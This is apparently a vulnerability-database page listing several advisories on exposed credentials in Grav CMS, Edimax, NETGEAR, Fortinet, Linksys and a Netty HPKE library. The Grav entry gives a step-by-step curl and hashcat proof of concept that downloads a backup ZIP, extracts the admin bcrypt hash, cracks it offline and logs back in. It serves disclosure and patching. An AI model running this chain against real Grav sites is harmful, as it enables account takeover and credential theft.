Vulnerability-Lookup

GHSA-2F86-9CP8-6HCF

Vulnerability from github – Published: 2026-06-18 14:31 – Updated: 2026-06-18 14:31

Summary

Grav: Admin Backup Zip File Exposes Account Credentials and Configuration Secrets

Details

Summary

An authenticated administrator with backup permissions can download a ZIP archive containing the full Grav installation root, including user/accounts/admin.yaml with the admin's bcrypt password hash and email, plus user/config/ with all site configuration. The download endpoint requires only the session-static admin-nonce in the URL, no additional form-level CSRF token, and reveals the server's full filesystem path in a Base64-encoded query parameter. Combined with the absence of login rate limiting on http://{Grav_URL}/admin, an attacker who obtains a single admin-nonce value (via Referrer leakage, browser history, or XSS) can exfiltrate password hashes for offline cracking and achieve account takeover.

Details

The vulnerability chain spans three components in the deployed Grav source tree at /var/www/html/grav/:

1. Backup archive scope — Backups::backup()
/var/www/html/grav/system/src/Grav/Common/Backup/Backups.php:201-272

The backup() static method creates a ZIP of the directory specified by the backup profile's root property. The default profile (ID 0, named default_site_backup) backs up the entire Grav root directory. On line 225, when the root is not a stream URI, it falls back to the full installation path:

// Backups.php:225
$backup_root = rtrim(GRAV_ROOT . $backup->root, DS) ?: DS;

Since the default profile ships with no root override, $backup->root is empty, making $backup_root equal to GRAV_ROOT — i.e. /var/www/html/grav/. The archive therefore captures the entire installation including:

/var/www/html/grav/user/accounts/ — admin password hash, email, full name, granular permissions
/var/www/html/grav/user/config/ — system settings, potentially email SMTP credentials

The exclude_files and exclude_paths options on lines 232-235 are empty by default and offer no protection against including account files.

2. Backup download handler — AdminController::taskBackup()
/var/www/html/grav/user/plugins/admin/classes/plugin/AdminController.php:517-573

After creating the backup ZIP, the controller Base64-encodes the full filesystem path and embeds it directly in a download URL displayed to the admin:

// AdminController.php:558-560
$download = urlencode(base64_encode($backup));
$url = rtrim(...) . '/task' . $param_sep . 'backup/download' . $param_sep
       . $download . '/admin-nonce' . $param_sep . Utils::getNonce('admin-form');

The download handler (lines 532-541) decodes the path, locates the file via the backup:// stream, and serves it with Utils::download($file, true). It performs only two checks: the filename must end in .zip and the file must actually exist. It does not verify the file belongs to the requesting user, does not enforce a form-level nonce, and does not tie the download to a specific session.

3. Nonce validation — permissive
The backup route is protected only by the admin-nonce parameter appended to the URL path. This nonce is session-static and shared across every admin page. No form-nonce is required — unlike page saves or configuration changes which demand both admin-nonce and form-nonce. This makes the backup download exploitable via a single crafted GET request from any attacker who knows the nonce value.

PoC

Prerequisites: Admin session with valid admin-nonce.

Step 1 — Authenticate and extract the session-static nonces:

# Get login page, extract login-nonce, authenticate
NONCE=$(curl -s -c /tmp/jar "http://127.0.0.1/grav/admin" \
  | grep -oP 'name="login-nonce" value="\K[^"]+')
curl -s -b /tmp/jar -c /tmp/jar -X POST "http://127.0.0.1/grav/admin" \
  --data-urlencode "data[username]=admin" \
  --data-urlencode "data[password]=Passw0rd123!" \
  --data-urlencode "task=login" \
  --data-urlencode "login-nonce=${NONCE}"

# Extract the admin-nonce (same value on every admin page)
ADMIN_NONCE=$(curl -s -b /tmp/jar "http://127.0.0.1/grav/admin" \
  | grep -oP 'admin-nonce[:=]\K[a-f0-9]+' | head -1)
echo "Admin nonce: $ADMIN_NONCE"   # e.g. 68d6b108bc1398028365fb35ea760baf

Step 2 — Trigger a backup (single GET, no form-nonce needed):

curl -s -b /tmp/jar \
  "http://127.0.0.1/grav/admin/tools/backups.json/task:backup/admin-nonce:${ADMIN_NONCE}"

Response:

{
  "status": "success",
  "message": "Your backup is ready for download. <a href=\"/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:68d6b108...\" class=\"button\">Download backup</a>"
}

Step 3 — Extract the Base64 download token and fetch the ZIP:

# The download path is base64("/var/www/html/grav/backup/default_site_backup--20260616122449.zip")
# This reveals the full server filesystem path.
curl -s -b /tmp/jar -o /tmp/backup.zip \
  "http://127.0.0.1/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:${ADMIN_NONCE}"

Step 4 — Extract the password hash from the ZIP:

unzip -p /tmp/backup.zip "user/accounts/admin.yaml"

Output:

state: enabled
email: admin@grav.com
fullname: 'Grav Admin'
title: Administrator
access:
  admin:
    login: true
    super: true
  site:
    login: true
hashed_password: $2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m

Step 5 — Crack the bcrypt hash offline:

echo '$2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m' > hash.txt
hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Step 6 — Log in with the cracked password (no rate limit):

curl -s -b /tmp/jar -c /tmp/jar -X POST "http://127.0.0.1/grav/admin" \
  --data-urlencode "data[username]=admin" \
  --data-urlencode "data[password]=<cracked_password>" \
  --data-urlencode "task=login" \
  --data-urlencode "login-nonce=${NONCE}"

Impact

Type: Authenticated sensitive data exposure enabling offline credential theft
Attack surface: Any actor who can obtain admin-nonce (session fixation, reflected XSS, Referrer header leakage, browser history inspection, or proxy log access)
Exposed data: Admin username, email, full name, granular permission structure, bcrypt password hash ($2y$12$...), and full site configuration from user/config/
Downstream risk: Offline hashcat cracking bypasses all server-side brute-force protections. With no login rate limiting (Finding 1), a cracked hash grants immediate unrestricted admin access including file modification and arbitrary code execution potential through Twig/themes
Server path leakage: The Base64-encoded download token reveals the absolute filesystem path /var/www/html/grav/backup/ — information critical for LFI, file-write, and path traversal attacks

Severity

6.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.53"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55885"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-312",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:31:13Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nAn authenticated administrator with backup permissions can download a ZIP archive containing the full Grav installation root, including `user/accounts/admin.yaml` with the admin\u0027s bcrypt password hash and email, plus `user/config/` with all site configuration. The download endpoint requires only the session-static `admin-nonce` in the URL, no additional form-level CSRF token, and reveals the server\u0027s full filesystem path in a Base64-encoded query parameter. Combined with the absence of login rate limiting on `http://{Grav_URL}/admin`, an attacker who obtains a single admin-nonce value (via Referrer leakage, browser history, or XSS) can exfiltrate password hashes for offline cracking and achieve account takeover.\n\n### Details\nThe vulnerability chain spans three components in the deployed Grav source tree at `/var/www/html/grav/`:\n\n**1. Backup archive scope \u2014 `Backups::backup()`**  \n`/var/www/html/grav/system/src/Grav/Common/Backup/Backups.php:201-272`\n\nThe `backup()` static method creates a ZIP of the directory specified by the backup profile\u0027s `root` property. The default profile (ID `0`, named `default_site_backup`) backs up the entire Grav root directory. On line 225, when the root is not a stream URI, it falls back to the full installation path:\n\n```php\n// Backups.php:225\n$backup_root = rtrim(GRAV_ROOT . $backup-\u003eroot, DS) ?: DS;\n```\n\nSince the default profile ships with no `root` override, `$backup-\u003eroot` is empty, making `$backup_root` equal to `GRAV_ROOT` \u2014 i.e. `/var/www/html/grav/`. The archive therefore captures the entire installation including:\n\n- `/var/www/html/grav/user/accounts/` \u2014 admin password hash, email, full name, granular permissions\n- `/var/www/html/grav/user/config/` \u2014 system settings, potentially email SMTP credentials\n\nThe `exclude_files` and `exclude_paths` options on lines 232-235 are empty by default and offer no protection against including account files.\n\n**2. Backup download handler \u2014 `AdminController::taskBackup()`**  \n`/var/www/html/grav/user/plugins/admin/classes/plugin/AdminController.php:517-573`\n\nAfter creating the backup ZIP, the controller Base64-encodes the full filesystem path and embeds it directly in a download URL displayed to the admin:\n\n```php\n// AdminController.php:558-560\n$download = urlencode(base64_encode($backup));\n$url = rtrim(...) . \u0027/task\u0027 . $param_sep . \u0027backup/download\u0027 . $param_sep\n       . $download . \u0027/admin-nonce\u0027 . $param_sep . Utils::getNonce(\u0027admin-form\u0027);\n```\n\nThe download handler (lines 532-541) decodes the path, locates the file via the `backup://` stream, and serves it with `Utils::download($file, true)`. It performs only two checks: the filename must end in `.zip` and the file must actually exist. It does **not** verify the file belongs to the requesting user, does **not** enforce a form-level nonce, and does **not** tie the download to a specific session.\n\n**3. Nonce validation \u2014 permissive**  \nThe backup route is protected only by the `admin-nonce` parameter appended to the URL path. This nonce is session-static and shared across every admin page. No `form-nonce` is required \u2014 unlike page saves or configuration changes which demand both `admin-nonce` and `form-nonce`. This makes the backup download exploitable via a single crafted GET request from any attacker who knows the nonce value.\n\n### PoC\n**Prerequisites:** Admin session with valid `admin-nonce`.\n\n**Step 1 \u2014 Authenticate and extract the session-static nonces:**\n```bash\n# Get login page, extract login-nonce, authenticate\nNONCE=$(curl -s -c /tmp/jar \"http://127.0.0.1/grav/admin\" \\\n  | grep -oP \u0027name=\"login-nonce\" value=\"\\K[^\"]+\u0027)\ncurl -s -b /tmp/jar -c /tmp/jar -X POST \"http://127.0.0.1/grav/admin\" \\\n  --data-urlencode \"data[username]=admin\" \\\n  --data-urlencode \"data[password]=Passw0rd123!\" \\\n  --data-urlencode \"task=login\" \\\n  --data-urlencode \"login-nonce=${NONCE}\"\n\n# Extract the admin-nonce (same value on every admin page)\nADMIN_NONCE=$(curl -s -b /tmp/jar \"http://127.0.0.1/grav/admin\" \\\n  | grep -oP \u0027admin-nonce[:=]\\K[a-f0-9]+\u0027 | head -1)\necho \"Admin nonce: $ADMIN_NONCE\"   # e.g. 68d6b108bc1398028365fb35ea760baf\n```\n\n**Step 2 \u2014 Trigger a backup (single GET, no form-nonce needed):**\n```bash\ncurl -s -b /tmp/jar \\\n  \"http://127.0.0.1/grav/admin/tools/backups.json/task:backup/admin-nonce:${ADMIN_NONCE}\"\n```\n\nResponse:\n```json\n{\n  \"status\": \"success\",\n  \"message\": \"Your backup is ready for download. \u003ca href=\\\"/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:68d6b108...\\\" class=\\\"button\\\"\u003eDownload backup\u003c/a\u003e\"\n}\n```\n\n**Step 3 \u2014 Extract the Base64 download token and fetch the ZIP:**\n```bash\n# The download path is base64(\"/var/www/html/grav/backup/default_site_backup--20260616122449.zip\")\n# This reveals the full server filesystem path.\ncurl -s -b /tmp/jar -o /tmp/backup.zip \\\n  \"http://127.0.0.1/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:${ADMIN_NONCE}\"\n```\n\n**Step 4 \u2014 Extract the password hash from the ZIP:**\n```bash\nunzip -p /tmp/backup.zip \"user/accounts/admin.yaml\"\n```\n\nOutput:\n```yaml\nstate: enabled\nemail: admin@grav.com\nfullname: \u0027Grav Admin\u0027\ntitle: Administrator\naccess:\n  admin:\n    login: true\n    super: true\n  site:\n    login: true\nhashed_password: $2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m\n```\n\n**Step 5 \u2014 Crack the bcrypt hash offline:**\n```bash\necho \u0027$2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m\u0027 \u003e hash.txt\nhashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt\n```\n\n**Step 6 \u2014 Log in with the cracked password (no rate limit):**\n```bash\ncurl -s -b /tmp/jar -c /tmp/jar -X POST \"http://127.0.0.1/grav/admin\" \\\n  --data-urlencode \"data[username]=admin\" \\\n  --data-urlencode \"data[password]=\u003ccracked_password\u003e\" \\\n  --data-urlencode \"task=login\" \\\n  --data-urlencode \"login-nonce=${NONCE}\"\n```\n\n### Impact\n- **Type:** Authenticated sensitive data exposure enabling offline credential theft\n- **Attack surface:** Any actor who can obtain admin-nonce (session fixation, reflected XSS, Referrer header leakage, browser history inspection, or proxy log access)\n- **Exposed data:** Admin username, email, full name, granular permission structure, bcrypt password hash (`$2y$12$...`), and full site configuration from `user/config/`\n- **Downstream risk:** Offline hashcat cracking bypasses all server-side brute-force protections. With no login rate limiting (Finding 1), a cracked hash grants immediate unrestricted admin access including file modification and arbitrary code execution potential through Twig/themes\n- **Server path leakage:** The Base64-encoded download token reveals the absolute filesystem path `/var/www/html/grav/backup/` \u2014 information critical for LFI, file-write, and path traversal attacks",
  "id": "GHSA-2f86-9cp8-6hcf",
  "modified": "2026-06-18T14:31:13Z",
  "published": "2026-06-18T14:31:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-2f86-9cp8-6hcf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grav: Admin Backup Zip File Exposes Account Credentials and Configuration Secrets"
}

GHSA-2F9J-FF2Q-8QMX

Vulnerability from github – Published: 2026-03-18 00:30 – Updated: 2026-03-18 00:30

Details

Edimax GS-5008PL firmware version 1.00.54 and prior contain an insecure credential storage vulnerability that allows attackers to obtain administrator credentials by accessing configuration backup files. Attackers can download the config.bin file through fupload.cgi to extract plaintext username and password fields for unauthorized administrative access.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

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{
  "affected": [],
  "aliases": [
    "CVE-2026-32842"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-312"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-17T22:16:15Z",
    "severity": "HIGH"
  },
  "details": "Edimax GS-5008PL firmware version 1.00.54 and prior contain an insecure credential storage vulnerability that allows attackers to obtain administrator credentials by accessing configuration backup files. Attackers can download the config.bin file through fupload.cgi to extract plaintext username and password fields for unauthorized administrative access.",
  "id": "GHSA-2f9j-ff2q-8qmx",
  "modified": "2026-03-18T00:30:54Z",
  "published": "2026-03-18T00:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32842"
    },
    {
      "type": "WEB",
      "url": "https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/us/smb_legacy_switches/gs-5008pl"
    },
    {
      "type": "WEB",
      "url": "https://www.edimax.com/edimax/merchandise/merchandise_list/data/edimax/us/smb_legacy_products"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/edimax-gs-5008pl-admin-credentials-stored-in-cleartext"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2G83-CG5Q-4FMJ

Vulnerability from github – Published: 2024-05-03 03:30 – Updated: 2024-05-03 03:30

Details

NETGEAR RAX30 Device Configuration Cleartext Storage Information Disclosure Vulnerability. This vulnerability allows network-adjacent attackers to disclose sensitive information on affected installations of NETGEAR RAX30 routers. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.

The specific flaw exists within the handling of device configuration. The issue results from the storage of configuration secrets in plaintext. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise. Was ZDI-CAN-19841.

Severity

5.7 (Medium)


                  
                    CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2023-27370"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-312"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T02:15:15Z",
    "severity": "MODERATE"
  },
  "details": "NETGEAR RAX30 Device Configuration Cleartext Storage Information Disclosure Vulnerability. This vulnerability allows network-adjacent attackers to disclose sensitive information on affected installations of NETGEAR RAX30 routers. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.\n\nThe specific flaw exists within the handling of device configuration. The issue results from the storage of configuration secrets in plaintext. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise. Was ZDI-CAN-19841.",
  "id": "GHSA-2g83-cg5q-4fmj",
  "modified": "2024-05-03T03:30:49Z",
  "published": "2024-05-03T03:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27370"
    },
    {
      "type": "WEB",
      "url": "https://kb.netgear.com/000065619/Security-Advisory-for-Multiple-Vulnerabilities-on-the-RAX30-PSV-2022-0348"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-501"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2H2G-HG5X-83G2

Vulnerability from github – Published: 2026-03-10 18:31 – Updated: 2026-03-10 18:31

Details

A cleartext storage of sensitive information vulnerability [CWE-312] vulnerability in Fortinet FortiMail 7.6.0 through 7.6.2, FortiMail 7.4.0 through 7.4.4, FortiMail 7.2.0 through 7.2.7, FortiMail 7.0.0 through 7.0.8, FortiRecorder 7.2.0 through 7.2.3, FortiRecorder 7.0 all versions, FortiRecorder 6.4 all versions, FortiVoice 7.2.0, FortiVoice 7.0.0 through 7.0.6 may allow an authenticated malicious administrator to obtain user's secrets via CLI commands. Practical exploitability is limited by conditions out of the control of the attacker: An admin must log in to the targeted device.

Severity

4.0 (Medium)


                  
                    CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2025-55717"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-312"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-10T18:17:58Z",
    "severity": "MODERATE"
  },
  "details": "A cleartext storage of sensitive information vulnerability [CWE-312] vulnerability in Fortinet FortiMail 7.6.0 through 7.6.2, FortiMail 7.4.0 through 7.4.4, FortiMail 7.2.0 through 7.2.7, FortiMail 7.0.0 through 7.0.8, FortiRecorder 7.2.0 through 7.2.3, FortiRecorder 7.0 all versions, FortiRecorder 6.4 all versions, FortiVoice 7.2.0, FortiVoice 7.0.0 through 7.0.6 may allow an authenticated malicious administrator to obtain user\u0027s secrets via CLI commands. Practical exploitability is limited by conditions out of the control of the attacker: An admin must log in to the targeted device.",
  "id": "GHSA-2h2g-hg5x-83g2",
  "modified": "2026-03-10T18:31:18Z",
  "published": "2026-03-10T18:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55717"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-080"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2JRH-C5MC-7J55

Vulnerability from github – Published: 2024-07-09 21:30 – Updated: 2024-11-22 21:32

Details

Linksys Velop Pro 6E 1.0.8 MX6200_1.0.8.215731 and 7 1.0.10.215314 devices send cleartext Wi-Fi passwords over the public Internet during app-based installation.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

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{
  "affected": [],
  "aliases": [
    "CVE-2024-40750"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-312"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-09T20:15:12Z",
    "severity": "MODERATE"
  },
  "details": "Linksys Velop Pro 6E 1.0.8 MX6200_1.0.8.215731 and 7 1.0.10.215314 devices send cleartext Wi-Fi passwords over the public Internet during app-based installation.",
  "id": "GHSA-2jrh-c5mc-7j55",
  "modified": "2024-11-22T21:32:11Z",
  "published": "2024-07-09T21:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40750"
    },
    {
      "type": "WEB",
      "url": "https://news.ycombinator.com/item?id=40917312"
    },
    {
      "type": "WEB",
      "url": "https://stackdiary.com/linksys-velop-routers-send-wi-fi-passwords-in-plaintext-to-us-servers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2MC4-J865-9Q4R

Vulnerability from github – Published: 2026-08-20 18:43 – Updated: 2026-08-20 18:43

Summary

netty-incubator-codec-ohttp: BoringSSL HPKE private key bytes exposed through toString() and exception messages

Details

Summary

io.netty.incubator:netty-incubator-codec-ohttp-hpke-classes-boringssl exposes raw HPKE private key bytes in string representations and error messages. BoringSSLAsymmetricCipherKeyPair.toString() includes the private-key parameter object, and BoringSSLAsymmetricKeyParameter.toString() renders the full byte array with Arrays.toString(bytes). Separately, failed native key initialization includes Arrays.toString(privateKeyBytes) in the thrown IllegalArgumentException message. Applications that log key-pair objects or exceptions can persist private key material in logs.

Details

codec-ohttp-hpke-classes-boringssl/src/main/java/io/netty/incubator/codec/hpke/boringssl/BoringSSLAsymmetricCipherKeyPair.java renders private key material through toString():

BoringSSLAsymmetricCipherKeyPair.toString() at lines 72-78 concatenates "privateKey=" + privateKey.
privateKey is a BoringSSLAsymmetricKeyParameter created with isPrivate=true at lines 26-36.

codec-ohttp-hpke-classes-boringssl/src/main/java/io/netty/incubator/codec/hpke/boringssl/BoringSSLAsymmetricKeyParameter.java then renders all bytes:

BoringSSLAsymmetricKeyParameter.toString() at lines 70-76 returns "bytes=" + Arrays.toString(bytes) regardless of whether isPrivate is true.

A separate error path in codec-ohttp-hpke-classes-boringssl/src/main/java/io/netty/incubator/codec/hpke/boringssl/BoringSSL.java also exposes caller-provided private key bytes:

EVP_HPKE_KEY_init_or_throw(...) at lines 228-232 throws IllegalArgumentException("privateKeyBytes does not contain a valid private key: " + Arrays.toString(privateKeyBytes)) when BoringSSL rejects the key.

Because Java logging frameworks commonly call toString() for structured objects and commonly persist exception messages, these paths can place complete HPKE private key material in logs or telemetry.

Proof of concept

Safe local verification was performed without native BoringSSL by compiling the relevant Java classes and a no-op native stub for the unused finalizer reference. The observed output includes the full private key byte array:

BoringSSLAsymmetricCipherKeyPair{privateKey=BoringSSLAsymmetricKeyParameter{bytes=[1, 2, 3, 4], isPrivate=true}, publicKey=BoringSSLAsymmetricKeyParameter{bytes=[5, 6, 7, 8], isPrivate=false}}

Minimal reproducer concept in the same package:

package io.netty.incubator.codec.hpke.boringssl;

public final class VerifyPrivateKeyToString {
  public static void main(String[] args) {
    byte[] privateKey = new byte[] {1, 2, 3, 4};
    byte[] publicKey = new byte[] {5, 6, 7, 8};
    BoringSSLAsymmetricCipherKeyPair pair = new BoringSSLAsymmetricCipherKeyPair(privateKey, publicKey);
    System.out.println(pair.toString());
  }
}

The code path is deterministic: the production toString() methods concatenate the raw private-key byte array.

Impact

If an affected key pair or initialization exception is logged, application logs contain complete HPKE private key material. Anyone with access to those logs can recover the key. Depending on key reuse and log retention, this can compromise:

confidentiality of OHTTP messages encrypted to the exposed key;
integrity/authenticity expectations for future messages if the key remains active;
incident response and key rotation assumptions, because logs may retain key material long after the in-memory key is rotated.

Suggested remediation

Redact private key material in BoringSSLAsymmetricKeyParameter.toString() when isPrivate is true, for example bytes=<redacted> or only key type/length.
Redact privateKey in BoringSSLAsymmetricCipherKeyPair.toString().
Remove Arrays.toString(privateKeyBytes) from BoringSSL.EVP_HPKE_KEY_init_or_throw(...); report only length and KEM metadata.
Add regression tests asserting that toString() and exception messages do not contain private key byte values.
Consider making key pair classes avoid implementing detailed toString() for sensitive material entirely.

References

codec-ohttp-hpke-classes-boringssl/src/main/java/io/netty/incubator/codec/hpke/boringssl/BoringSSLAsymmetricCipherKeyPair.java:72-78
codec-ohttp-hpke-classes-boringssl/src/main/java/io/netty/incubator/codec/hpke/boringssl/BoringSSLAsymmetricKeyParameter.java:70-76
codec-ohttp-hpke-classes-boringssl/src/main/java/io/netty/incubator/codec/hpke/boringssl/BoringSSL.java:228-232

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.0.22.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty.incubator:netty-incubator-codec-ohttp-hpke-classes-boringssl"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.23.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61798"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-312",
      "CWE-532"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-20T18:43:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`io.netty.incubator:netty-incubator-codec-ohttp-hpke-classes-boringssl` exposes raw HPKE private key bytes in string representations and error messages. `BoringSSLAsymmetricCipherKeyPair.toString()` includes the private-key parameter object, and `BoringSSLAsymmetricKeyParameter.toString()` renders the full byte array with `Arrays.toString(bytes)`. Separately, failed native key initialization includes `Arrays.toString(privateKeyBytes)` in the thrown `IllegalArgumentException` message. Applications that log key-pair objects or exceptions can persist private key material in logs.\n\n## Details\n\n`codec-ohttp-hpke-classes-boringssl/src/main/java/io/netty/incubator/codec/hpke/boringssl/BoringSSLAsymmetricCipherKeyPair.java` renders private key material through `toString()`:\n\n- `BoringSSLAsymmetricCipherKeyPair.toString()` at lines 72-78 concatenates `\"privateKey=\" + privateKey`.\n- `privateKey` is a `BoringSSLAsymmetricKeyParameter` created with `isPrivate=true` at lines 26-36.\n\n`codec-ohttp-hpke-classes-boringssl/src/main/java/io/netty/incubator/codec/hpke/boringssl/BoringSSLAsymmetricKeyParameter.java` then renders all bytes:\n\n- `BoringSSLAsymmetricKeyParameter.toString()` at lines 70-76 returns `\"bytes=\" + Arrays.toString(bytes)` regardless of whether `isPrivate` is true.\n\nA separate error path in `codec-ohttp-hpke-classes-boringssl/src/main/java/io/netty/incubator/codec/hpke/boringssl/BoringSSL.java` also exposes caller-provided private key bytes:\n\n- `EVP_HPKE_KEY_init_or_throw(...)` at lines 228-232 throws `IllegalArgumentException(\"privateKeyBytes does not contain a valid private key: \" + Arrays.toString(privateKeyBytes))` when BoringSSL rejects the key.\n\nBecause Java logging frameworks commonly call `toString()` for structured objects and commonly persist exception messages, these paths can place complete HPKE private key material in logs or telemetry.\n\n## Proof of concept\n\nSafe local verification was performed without native BoringSSL by compiling the relevant Java classes and a no-op native stub for the unused finalizer reference. The observed output includes the full private key byte array:\n\n```text\nBoringSSLAsymmetricCipherKeyPair{privateKey=BoringSSLAsymmetricKeyParameter{bytes=[1, 2, 3, 4], isPrivate=true}, publicKey=BoringSSLAsymmetricKeyParameter{bytes=[5, 6, 7, 8], isPrivate=false}}\n```\n\nMinimal reproducer concept in the same package:\n\n```java\npackage io.netty.incubator.codec.hpke.boringssl;\n\npublic final class VerifyPrivateKeyToString {\n  public static void main(String[] args) {\n    byte[] privateKey = new byte[] {1, 2, 3, 4};\n    byte[] publicKey = new byte[] {5, 6, 7, 8};\n    BoringSSLAsymmetricCipherKeyPair pair = new BoringSSLAsymmetricCipherKeyPair(privateKey, publicKey);\n    System.out.println(pair.toString());\n  }\n}\n```\n\nThe code path is deterministic: the production `toString()` methods concatenate the raw private-key byte array.\n\n## Impact\n\nIf an affected key pair or initialization exception is logged, application logs contain complete HPKE private key material. Anyone with access to those logs can recover the key. Depending on key reuse and log retention, this can compromise:\n\n- confidentiality of OHTTP messages encrypted to the exposed key;\n- integrity/authenticity expectations for future messages if the key remains active;\n- incident response and key rotation assumptions, because logs may retain key material long after the in-memory key is rotated.\n\n## Suggested remediation\n\n- Redact private key material in `BoringSSLAsymmetricKeyParameter.toString()` when `isPrivate` is true, for example `bytes=\u003credacted\u003e` or only key type/length.\n- Redact `privateKey` in `BoringSSLAsymmetricCipherKeyPair.toString()`.\n- Remove `Arrays.toString(privateKeyBytes)` from `BoringSSL.EVP_HPKE_KEY_init_or_throw(...)`; report only length and KEM metadata.\n- Add regression tests asserting that `toString()` and exception messages do not contain 